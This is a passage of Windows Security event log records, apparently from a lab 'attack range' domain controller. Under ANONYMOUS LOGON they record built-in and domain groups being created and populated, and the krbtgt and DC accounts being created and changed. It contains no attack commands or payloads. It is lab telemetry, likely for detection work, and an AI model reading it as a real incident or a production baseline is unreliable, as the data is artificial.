AUTHORITY - Logon ID: 0x3E6 - -Member: - Security ID: ATTACKRANGE\Administrator - Account Name: CN=Administrator,CN=Users,DC=attackrange,DC=local - -Group: - Security ID: ATTACKRANGE\Domain Admins - Group Name: Domain Admins - Group Domain: ATTACKRANGE - -Additional Information: - Privileges: - -03/11/2021 11:44:44 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4735 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Security Group Management -OpCode=Info -RecordNumber=248139 -Keywords=Audit Success -Message=A security-enabled local group was changed. - -Subject: - Security ID: NT AUTHORITY\ANONYMOUS LOGON - Account Name: ANONYMOUS LOGON - Account Domain: NT AUTHORITY - Logon ID: 0x3E6 - -Group: - Security ID: BUILTIN\Guests - Group Name: Guests - Group Domain: Builtin - -Changed Attributes: - SAM Account Name: - - SID History: - - -Additional Information: - Privileges: - -03/11/2021 11:44:44 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4732 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Security Group Management -OpCode=Info -RecordNumber=248138 -Keywords=Audit Success -Message=A member was added to a security-enabled local group. - -Subject: - Security ID: NT AUTHORITY\ANONYMOUS LOGON - Account Name: ANONYMOUS LOGON - Account Domain: NT AUTHORITY - Logon ID: 0x3E6 - -Member: - Security ID: ATTACKRANGE\Domain Guests - Account Name: - - -Group: - Security ID: BUILTIN\Guests - Group Name: Guests - Group Domain: Builtin - -Additional Information: - Privileges: - -03/11/2021 11:44:44 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4735 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Security Group Management -OpCode=Info -RecordNumber=248137 -Keywords=Audit Success -Message=A security-enabled local group was changed. - -Subject: - Security ID: NT AUTHORITY\ANONYMOUS LOGON - Account Name: ANONYMOUS LOGON - Account Domain: NT AUTHORITY - Logon ID: 0x3E6 - -Group: - Security ID: BUILTIN\Users - Group Name: Users - Group Domain: Builtin - -Changed Attributes: - SAM Account Name: - - SID History: - - -Additional Information: - Privileges: - -03/11/2021 11:44:44 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4732 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Security Group Management -OpCode=Info -RecordNumber=248136 -Keywords=Audit Success -Message=A member was added to a security-enabled local group. - -Subject: - Security ID: NT AUTHORITY\ANONYMOUS LOGON - Account Name: ANONYMOUS LOGON - Account Domain: NT AUTHORITY - Logon ID: 0x3E6 - -Member: - Security ID: ATTACKRANGE\Domain Users - Account Name: - - -Group: - Security ID: BUILTIN\Users - Group Name: Users - Group Domain: Builtin - -Additional Information: - Privileges: - -03/11/2021 11:44:44 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4735 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Security Group Management -OpCode=Info -RecordNumber=248135 -Keywords=Audit Success -Message=A security-enabled local group was changed. - -Subject: - Security ID: NT AUTHORITY\ANONYMOUS LOGON - Account Name: ANONYMOUS LOGON - Account Domain: NT AUTHORITY - Logon ID: 0x3E6 - -Group: - Security ID: BUILTIN\Administrators - Group Name: Administrators - Group Domain: Builtin - -Changed Attributes: - SAM Account Name: - - SID History: - - -Additional Information: - Privileges: - -03/11/2021 11:44:44 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4732 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Security Group Management -OpCode=Info -RecordNumber=248134 -Keywords=Audit Success -Message=A member was added to a security-enabled local group. - -Subject: - Security ID: NT AUTHORITY\ANONYMOUS LOGON - Account Name: ANONYMOUS LOGON - Account Domain: NT AUTHORITY - Logon ID: 0x3E6 - -Member: - Security ID: ATTACKRANGE\Domain Admins - Account Name: - - -Group: - Security ID: BUILTIN\Administrators - Group Name: Administrators - Group Domain: Builtin - -Additional Information: - Privileges: - -03/11/2021 11:44:44 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4735 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Security Group Management -OpCode=Info -RecordNumber=248133 -Keywords=Audit Success -Message=A security-enabled local group was changed. - -Subject: - Security ID: NT AUTHORITY\ANONYMOUS LOGON - Account Name: ANONYMOUS LOGON - Account Domain: NT AUTHORITY - Logon ID: 0x3E6 - -Group: - Security ID: BUILTIN\Terminal Server License Servers - Group Name: Terminal Server License Servers - Group Domain: Builtin - -Changed Attributes: - SAM Account Name: - - SID History: - - -Additional Information: - Privileges: - -03/11/2021 11:44:44 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4731 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Security Group Management -OpCode=Info -RecordNumber=248132 -Keywords=Audit Success -Message=A security-enabled local group was created. - -Subject: - Security ID: NT AUTHORITY\ANONYMOUS LOGON - Account Name: ANONYMOUS LOGON - Account Domain: NT AUTHORITY - Logon ID: 0x3E6 - -New Group: - Security ID: BUILTIN\Terminal Server License Servers - Group Name: Terminal Server License Servers - Group Domain: Builtin - -Attributes: - SAM Account Name: Terminal Server License Servers - SID History: - - -Additional Information: - Privileges: - -03/11/2021 11:44:44 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4735 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Security Group Management -OpCode=Info -RecordNumber=248131 -Keywords=Audit Success -Message=A security-enabled local group was changed. - -Subject: - Security ID: NT AUTHORITY\ANONYMOUS LOGON - Account Name: ANONYMOUS LOGON - Account Domain: NT AUTHORITY - Logon ID: 0x3E6 - -Group: - Security ID: BUILTIN\Windows Authorization Access Group - Group Name: Windows Authorization Access Group - Group Domain: Builtin - -Changed Attributes: - SAM Account Name: - - SID History: - - -Additional Information: - Privileges: - -03/11/2021 11:44:44 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4731 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Security Group Management -OpCode=Info -RecordNumber=248130 -Keywords=Audit Success -Message=A security-enabled local group was created. - -Subject: - Security ID: NT AUTHORITY\ANONYMOUS LOGON - Account Name: ANONYMOUS LOGON - Account Domain: NT AUTHORITY - Logon ID: 0x3E6 - -New Group: - Security ID: BUILTIN\Windows Authorization Access Group - Group Name: Windows Authorization Access Group - Group Domain: Builtin - -Attributes: - SAM Account Name: Windows Authorization Access Group - SID History: - - -Additional Information: - Privileges: - -03/11/2021 11:44:44 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4735 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Security Group Management -OpCode=Info -RecordNumber=248129 -Keywords=Audit Success -Message=A security-enabled local group was changed. - -Subject: - Security ID: NT AUTHORITY\ANONYMOUS LOGON - Account Name: ANONYMOUS LOGON - Account Domain: NT AUTHORITY - Logon ID: 0x3E6 - -Group: - Security ID: BUILTIN\Incoming Forest Trust Builders - Group Name: Incoming Forest Trust Builders - Group Domain: Builtin - -Changed Attributes: - SAM Account Name: - - SID History: - - -Additional Information: - Privileges: - -03/11/2021 11:44:44 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4731 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Security Group Management -OpCode=Info -RecordNumber=248128 -Keywords=Audit Success -Message=A security-enabled local group was created. - -Subject: - Security ID: NT AUTHORITY\ANONYMOUS LOGON - Account Name: ANONYMOUS LOGON - Account Domain: NT AUTHORITY - Logon ID: 0x3E6 - -New Group: - Security ID: BUILTIN\Incoming Forest Trust Builders - Group Name: Incoming Forest Trust Builders - Group Domain: Builtin - -Attributes: - SAM Account Name: Incoming Forest Trust Builders - SID History: - - -Additional Information: - Privileges: - -03/11/2021 11:44:44 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4735 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Security Group Management -OpCode=Info -RecordNumber=248127 -Keywords=Audit Success -Message=A security-enabled local group was changed. - -Subject: - Security ID: NT AUTHORITY\ANONYMOUS LOGON - Account Name: ANONYMOUS LOGON - Account Domain: NT AUTHORITY - Logon ID: 0x3E6 - -Group: - Security ID: BUILTIN\Pre-Windows 2000 Compatible Access - Group Name: Pre-Windows 2000 Compatible Access - Group Domain: Builtin - -Changed Attributes: - SAM Account Name: - - SID History: - - -Additional Information: - Privileges: - -03/11/2021 11:44:44 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4731 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Security Group Management -OpCode=Info -RecordNumber=248126 -Keywords=Audit Success -Message=A security-enabled local group was created. - -Subject: - Security ID: NT AUTHORITY\ANONYMOUS LOGON - Account Name: ANONYMOUS LOGON - Account Domain: NT AUTHORITY - Logon ID: 0x3E6 - -New Group: - Security ID: BUILTIN\Pre-Windows 2000 Compatible Access - Group Name: Pre-Windows 2000 Compatible Access - Group Domain: Builtin - -Attributes: - SAM Account Name: Pre-Windows 2000 Compatible Access - SID History: - - -Additional Information: - Privileges: - -03/11/2021 11:44:44 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4735 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Security Group Management -OpCode=Info -RecordNumber=248125 -Keywords=Audit Success -Message=A security-enabled local group was changed. - -Subject: - Security ID: NT AUTHORITY\ANONYMOUS LOGON - Account Name: ANONYMOUS LOGON - Account Domain: NT AUTHORITY - Logon ID: 0x3E6 - -Group: - Security ID: BUILTIN\Account Operators - Group Name: Account Operators - Group Domain: Builtin - -Changed Attributes: - SAM Account Name: - - SID History: - - -Additional Information: - Privileges: - -03/11/2021 11:44:44 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4731 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Security Group Management -OpCode=Info -RecordNumber=248124 -Keywords=Audit Success -Message=A security-enabled local group was created. - -Subject: - Security ID: NT AUTHORITY\ANONYMOUS LOGON - Account Name: ANONYMOUS LOGON - Account Domain: NT AUTHORITY - Logon ID: 0x3E6 - -New Group: - Security ID: BUILTIN\Account Operators - Group Name: Account Operators - Group Domain: Builtin - -Attributes: - SAM Account Name: Account Operators - SID History: - - -Additional Information: - Privileges: - -03/11/2021 11:44:44 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4735 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Security Group Management -OpCode=Info -RecordNumber=248123 -Keywords=Audit Success -Message=A security-enabled local group was changed. - -Subject: - Security ID: NT AUTHORITY\ANONYMOUS LOGON - Account Name: ANONYMOUS LOGON - Account Domain: NT AUTHORITY - Logon ID: 0x3E6 - -Group: - Security ID: BUILTIN\Server Operators - Group Name: Server Operators - Group Domain: Builtin - -Changed Attributes: - SAM Account Name: - - SID History: - - -Additional Information: - Privileges: - -03/11/2021 11:44:44 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4731 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Security Group Management -OpCode=Info -RecordNumber=248122 -Keywords=Audit Success -Message=A security-enabled local group was created. - -Subject: - Security ID: NT AUTHORITY\ANONYMOUS LOGON - Account Name: ANONYMOUS LOGON - Account Domain: NT AUTHORITY - Logon ID: 0x3E6 - -New Group: - Security ID: BUILTIN\Server Operators - Group Name: Server Operators - Group Domain: Builtin - -Attributes: - SAM Account Name: Server Operators - SID History: - - -Additional Information: - Privileges: - -03/11/2021 11:44:44 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4735 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Security Group Management -OpCode=Info -RecordNumber=248121 -Keywords=Audit Success -Message=A security-enabled local group was changed. - -Subject: - Security ID: NT AUTHORITY\ANONYMOUS LOGON - Account Name: ANONYMOUS LOGON - Account Domain: NT AUTHORITY - Logon ID: 0x3E6 - -Group: - Security ID: ATTACKRANGE\RAS and IAS Servers - Group Name: RAS and IAS Servers - Group Domain: ATTACKRANGE - -Changed Attributes: - SAM Account Name: - - SID History: - - -Additional Information: - Privileges: - -03/11/2021 11:44:44 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4731 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Security Group Management -OpCode=Info -RecordNumber=248120 -Keywords=Audit Success -Message=A security-enabled local group was created. - -Subject: - Security ID: NT AUTHORITY\ANONYMOUS LOGON - Account Name: ANONYMOUS LOGON - Account Domain: NT AUTHORITY - Logon ID: 0x3E6 - -New Group: - Security ID: ATTACKRANGE\RAS and IAS Servers - Group Name: RAS and IAS Servers - Group Domain: ATTACKRANGE - -Attributes: - SAM Account Name: RAS and IAS Servers - SID History: - - -Additional Information: - Privileges: - -03/11/2021 11:44:44 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4737 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Security Group Management -OpCode=Info -RecordNumber=248119 -Keywords=Audit Success -Message=A security-enabled global group was changed. - -Subject: - Security ID: NT AUTHORITY\ANONYMOUS LOGON - Account Name: ANONYMOUS LOGON - Account Domain: NT AUTHORITY - Logon ID: 0x3E6 - -Group: - Security ID: ATTACKRANGE\Group Policy Creator Owners - Group Name: Group Policy Creator Owners - Group Domain: ATTACKRANGE - -Changed Attributes: - SAM Account Name: - - SID History: - - -Additional Information: - Privileges: - -03/11/2021 11:44:44 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4727 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Security Group Management -OpCode=Info -RecordNumber=248118 -Keywords=Audit Success -Message=A security-enabled global group was created. - -Subject: - Security ID: NT AUTHORITY\ANONYMOUS LOGON - Account Name: ANONYMOUS LOGON - Account Domain: NT AUTHORITY - Logon ID: 0x3E6 - -New Group: - Security ID: ATTACKRANGE\Group Policy Creator Owners - Group Name: Group Policy Creator Owners - Group Domain: ATTACKRANGE - -Attributes: - SAM Account Name: Group Policy Creator Owners - SID History: - - -Additional Information: - Privileges: - -03/11/2021 11:44:44 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4737 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Security Group Management -OpCode=Info -RecordNumber=248117 -Keywords=Audit Success -Message=A security-enabled global group was changed. - -Subject: - Security ID: NT AUTHORITY\ANONYMOUS LOGON - Account Name: ANONYMOUS LOGON - Account Domain: NT AUTHORITY - Logon ID: 0x3E6 - -Group: - Security ID: ATTACKRANGE\Domain Guests - Group Name: Domain Guests - Group Domain: ATTACKRANGE - -Changed Attributes: - SAM Account Name: - - SID History: - - -Additional Information: - Privileges: - -03/11/2021 11:44:44 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4727 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Security Group Management -OpCode=Info -RecordNumber=248116 -Keywords=Audit Success -Message=A security-enabled global group was created. - -Subject: - Security ID: NT AUTHORITY\ANONYMOUS LOGON - Account Name: ANONYMOUS LOGON - Account Domain: NT AUTHORITY - Logon ID: 0x3E6 - -New Group: - Security ID: ATTACKRANGE\Domain Guests - Group Name: Domain Guests - Group Domain: ATTACKRANGE - -Attributes: - SAM Account Name: Domain Guests - SID History: - - -Additional Information: - Privileges: - -03/11/2021 11:44:44 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4737 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Security Group Management -OpCode=Info -RecordNumber=248115 -Keywords=Audit Success -Message=A security-enabled global group was changed. - -Subject: - Security ID: NT AUTHORITY\ANONYMOUS LOGON - Account Name: ANONYMOUS LOGON - Account Domain: NT AUTHORITY - Logon ID: 0x3E6 - -Group: - Security ID: ATTACKRANGE\Domain Users - Group Name: Domain Users - Group Domain: ATTACKRANGE - -Changed Attributes: - SAM Account Name: - - SID History: - - -Additional Information: - Privileges: - -03/11/2021 11:44:44 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4727 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Security Group Management -OpCode=Info -RecordNumber=248114 -Keywords=Audit Success -Message=A security-enabled global group was created. - -Subject: - Security ID: NT AUTHORITY\ANONYMOUS LOGON - Account Name: ANONYMOUS LOGON - Account Domain: NT AUTHORITY - Logon ID: 0x3E6 - -New Group: - Security ID: ATTACKRANGE\Domain Users - Group Name: Domain Users - Group Domain: ATTACKRANGE - -Attributes: - SAM Account Name: Domain Users - SID History: - - -Additional Information: - Privileges: - -03/11/2021 11:44:44 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4737 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Security Group Management -OpCode=Info -RecordNumber=248113 -Keywords=Audit Success -Message=A security-enabled global group was changed. - -Subject: - Security ID: NT AUTHORITY\ANONYMOUS LOGON - Account Name: ANONYMOUS LOGON - Account Domain: NT AUTHORITY - Logon ID: 0x3E6 - -Group: - Security ID: ATTACKRANGE\Domain Admins - Group Name: Domain Admins - Group Domain: ATTACKRANGE - -Changed Attributes: - SAM Account Name: - - SID History: - - -Additional Information: - Privileges: - -03/11/2021 11:44:44 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4727 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Security Group Management -OpCode=Info -RecordNumber=248112 -Keywords=Audit Success -Message=A security-enabled global group was created. - -Subject: - Security ID: NT AUTHORITY\ANONYMOUS LOGON - Account Name: ANONYMOUS LOGON - Account Domain: NT AUTHORITY - Logon ID: 0x3E6 - -New Group: - Security ID: ATTACKRANGE\Domain Admins - Group Name: Domain Admins - Group Domain: ATTACKRANGE - -Attributes: - SAM Account Name: Domain Admins - SID History: - - -Additional Information: - Privileges: - -03/11/2021 11:44:44 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4735 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Security Group Management -OpCode=Info -RecordNumber=248111 -Keywords=Audit Success -Message=A security-enabled local group was changed. - -Subject: - Security ID: NT AUTHORITY\ANONYMOUS LOGON - Account Name: ANONYMOUS LOGON - Account Domain: NT AUTHORITY - Logon ID: 0x3E6 - -Group: - Security ID: ATTACKRANGE\Cert Publishers - Group Name: Cert Publishers - Group Domain: ATTACKRANGE - -Changed Attributes: - SAM Account Name: - - SID History: - - -Additional Information: - Privileges: - -03/11/2021 11:44:44 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4731 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Security Group Management -OpCode=Info -RecordNumber=248110 -Keywords=Audit Success -Message=A security-enabled local group was created. - -Subject: - Security ID: NT AUTHORITY\ANONYMOUS LOGON - Account Name: ANONYMOUS LOGON - Account Domain: NT AUTHORITY - Logon ID: 0x3E6 - -New Group: - Security ID: ATTACKRANGE\Cert Publishers - Group Name: Cert Publishers - Group Domain: ATTACKRANGE - -Attributes: - SAM Account Name: Cert Publishers - SID History: - - -Additional Information: - Privileges: - -03/11/2021 11:44:44 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4755 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Security Group Management -OpCode=Info -RecordNumber=248109 -Keywords=Audit Success -Message=A security-enabled universal group was changed. - -Subject: - Security ID: NT AUTHORITY\ANONYMOUS LOGON - Account Name: ANONYMOUS LOGON - Account Domain: NT AUTHORITY - Logon ID: 0x3E6 - -Group: - Security ID: ATTACKRANGE\Enterprise Admins - Group Name: Enterprise Admins - Group Domain: ATTACKRANGE - -Changed Attributes: - SAM Account Name: - - SID History: - - -Additional Information: - Privileges: - -03/11/2021 11:44:44 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4754 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Security Group Management -OpCode=Info -RecordNumber=248108 -Keywords=Audit Success -Message=A security-enabled universal group was created. - -Subject: - Security ID: NT AUTHORITY\ANONYMOUS LOGON - Account Name: ANONYMOUS LOGON - Account Domain: NT AUTHORITY - Logon ID: 0x3E6 - -Group: - Security ID: ATTACKRANGE\Enterprise Admins - Group Name: Enterprise Admins - Group Domain: ATTACKRANGE - -Attributes: - SAM Account Name: Enterprise Admins - SID History: - - -Additional Information: - Privileges: - -03/11/2021 11:44:44 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4755 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Security Group Management -OpCode=Info -RecordNumber=248107 -Keywords=Audit Success -Message=A security-enabled universal group was changed. - -Subject: - Security ID: NT AUTHORITY\ANONYMOUS LOGON - Account Name: ANONYMOUS LOGON - Account Domain: NT AUTHORITY - Logon ID: 0x3E6 - -Group: - Security ID: ATTACKRANGE\Schema Admins - Group Name: Schema Admins - Group Domain: ATTACKRANGE - -Changed Attributes: - SAM Account Name: - - SID History: - - -Additional Information: - Privileges: - -03/11/2021 11:44:44 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4754 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Security Group Management -OpCode=Info -RecordNumber=248106 -Keywords=Audit Success -Message=A security-enabled universal group was created. - -Subject: - Security ID: NT AUTHORITY\ANONYMOUS LOGON - Account Name: ANONYMOUS LOGON - Account Domain: NT AUTHORITY - Logon ID: 0x3E6 - -Group: - Security ID: ATTACKRANGE\Schema Admins - Group Name: Schema Admins - Group Domain: ATTACKRANGE - -Attributes: - SAM Account Name: Schema Admins - SID History: - - -Additional Information: - Privileges: - -03/11/2021 11:44:44 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4737 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Security Group Management -OpCode=Info -RecordNumber=248105 -Keywords=Audit Success -Message=A security-enabled global group was changed. - -Subject: - Security ID: NT AUTHORITY\ANONYMOUS LOGON - Account Name: ANONYMOUS LOGON - Account Domain: NT AUTHORITY - Logon ID: 0x3E6 - -Group: - Security ID: ATTACKRANGE\Domain Controllers - Group Name: Domain Controllers - Group Domain: ATTACKRANGE - -Changed Attributes: - SAM Account Name: - - SID History: - - -Additional Information: - Privileges: - -03/11/2021 11:44:44 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4727 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Security Group Management -OpCode=Info -RecordNumber=248104 -Keywords=Audit Success -Message=A security-enabled global group was created. - -Subject: - Security ID: NT AUTHORITY\ANONYMOUS LOGON - Account Name: ANONYMOUS LOGON - Account Domain: NT AUTHORITY - Logon ID: 0x3E6 - -New Group: - Security ID: ATTACKRANGE\Domain Controllers - Group Name: Domain Controllers - Group Domain: ATTACKRANGE - -Attributes: - SAM Account Name: Domain Controllers - SID History: - - -Additional Information: - Privileges: - -03/11/2021 11:44:44 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4737 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Security Group Management -OpCode=Info -RecordNumber=248103 -Keywords=Audit Success -Message=A security-enabled global group was changed. - -Subject: - Security ID: NT AUTHORITY\ANONYMOUS LOGON - Account Name: ANONYMOUS LOGON - Account Domain: NT AUTHORITY - Logon ID: 0x3E6 - -Group: - Security ID: ATTACKRANGE\Domain Computers - Group Name: Domain Computers - Group Domain: ATTACKRANGE - -Changed Attributes: - SAM Account Name: - - SID History: - - -Additional Information: - Privileges: - -03/11/2021 11:44:44 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4727 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Security Group Management -OpCode=Info -RecordNumber=248102 -Keywords=Audit Success -Message=A security-enabled global group was created. - -Subject: - Security ID: NT AUTHORITY\ANONYMOUS LOGON - Account Name: ANONYMOUS LOGON - Account Domain: NT AUTHORITY - Logon ID: 0x3E6 - -New Group: - Security ID: ATTACKRANGE\Domain Computers - Group Name: Domain Computers - Group Domain: ATTACKRANGE - -Attributes: - SAM Account Name: Domain Computers - SID History: - - -Additional Information: - Privileges: - -03/11/2021 11:44:44 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4738 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=User Account Management -OpCode=Info -RecordNumber=248101 -Keywords=Audit Success -Message=A user account was changed. - -Subject: - Security ID: NT AUTHORITY\ANONYMOUS LOGON - Account Name: ANONYMOUS LOGON - Account Domain: NT AUTHORITY - Logon ID: 0x3E6 - -Target Account: - Security ID: ATTACKRANGE\krbtgt - Account Name: krbtgt - Account Domain: ATTACKRANGE - -Changed Attributes: - SAM Account Name: - - Display Name: - - User Principal Name: - - Home Directory: - - Home Drive: - - Script Path: - - Profile Path: - - User Workstations: - - Password Last Set: - - Account Expires: - - Primary Group ID: - - AllowedToDelegateTo: - - Old UAC Value: - - New UAC Value: - - User Account Control: - - User Parameters: - - SID History: - - Logon Hours: - - -Additional Information: - Privileges: - -03/11/2021 11:44:44 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4738 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=User Account Management -OpCode=Info -RecordNumber=248100 -Keywords=Audit Success -Message=A user account was changed. - -Subject: - Security ID: NT AUTHORITY\ANONYMOUS LOGON - Account Name: ANONYMOUS LOGON - Account Domain: NT AUTHORITY - Logon ID: 0x3E6 - -Target Account: - Security ID: ATTACKRANGE\krbtgt - Account Name: krbtgt - Account Domain: ATTACKRANGE - -Changed Attributes: - SAM Account Name: - - Display Name: - - User Principal Name: - - Home Directory: - - Home Drive: - - Script Path: - - Profile Path: - - User Workstations: - - Password Last Set: 3/1/2021 12:37:50 PM - Account Expires: - - Primary Group ID: - - AllowedToDelegateTo: - - Old UAC Value: - - New UAC Value: - - User Account Control: - - User Parameters: - - SID History: - - Logon Hours: - - -Additional Information: - Privileges: - -03/11/2021 11:44:44 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4738 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=User Account Management -OpCode=Info -RecordNumber=248099 -Keywords=Audit Success -Message=A user account was changed. - -Subject: - Security ID: NT AUTHORITY\ANONYMOUS LOGON - Account Name: ANONYMOUS LOGON - Account Domain: NT AUTHORITY - Logon ID: 0x3E6 - -Target Account: - Security ID: ATTACKRANGE\krbtgt - Account Name: krbtgt - Account Domain: ATTACKRANGE - -Changed Attributes: - SAM Account Name: - - Display Name: - - User Principal Name: - - Home Directory: - - Home Drive: - - Script Path: - - Profile Path: - - User Workstations: - - Password Last Set: - - Account Expires: - - Primary Group ID: - - AllowedToDelegateTo: - - Old UAC Value: 0x15 - New UAC Value: 0x11 - User Account Control: - 'Password Not Required' - Disabled - User Parameters: - - SID History: - - Logon Hours: - - -Additional Information: - Privileges: - -03/11/2021 11:44:44 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4720 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=User Account Management -OpCode=Info -RecordNumber=248098 -Keywords=Audit Success -Message=A user account was created. - -Subject: - Security ID: NT AUTHORITY\ANONYMOUS LOGON - Account Name: ANONYMOUS LOGON - Account Domain: NT AUTHORITY - Logon ID: 0x3E6 - -New Account: - Security ID: ATTACKRANGE\krbtgt - Account Name: krbtgt - Account Domain: ATTACKRANGE - -Attributes: - SAM Account Name: krbtgt - Display Name: - User Principal Name: - - Home Directory: - Home Drive: - Script Path: - Profile Path: - User Workstations: - Password Last Set: - Account Expires: - Primary Group ID: 513 - Allowed To Delegate To: - - Old UAC Value: 0x0 - New UAC Value: 0x15 - User Account Control: - Account Disabled - 'Password Not Required' - Enabled - 'Normal Account' - Enabled - User Parameters: - SID History: - - Logon Hours: - -Additional Information: - Privileges - -03/11/2021 11:44:44 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4742 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Computer Account Management -OpCode=Info -RecordNumber=248097 -Keywords=Audit Success -Message=A computer account was changed. - -Subject: - Security ID: NT AUTHORITY\ANONYMOUS LOGON - Account Name: ANONYMOUS LOGON - Account Domain: NT AUTHORITY - Logon ID: 0x3E6 - -Computer Account That Was Changed: - Security ID: ATTACKRANGE\WIN-DC-725$ - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - -Changed Attributes: - SAM Account Name: - - Display Name: - - User Principal Name: - - Home Directory: - - Home Drive: - - Script Path: - - Profile Path: - - User Workstations: - - Password Last Set: 3/1/2021 12:37:50 PM - Account Expires: - - Primary Group ID: - - AllowedToDelegateTo: - - Old UAC Value: - - New UAC Value: - - User Account Control: - - User Parameters: - - SID History: - - Logon Hours: - - DNS Host Name: - - Service Principal Names: - - -Additional Information: - Privileges: - -03/11/2021 11:44:44 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4742 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Computer Account Management -OpCode=Info -RecordNumber=248096 -Keywords=Audit Success -Message=A computer account was changed. - 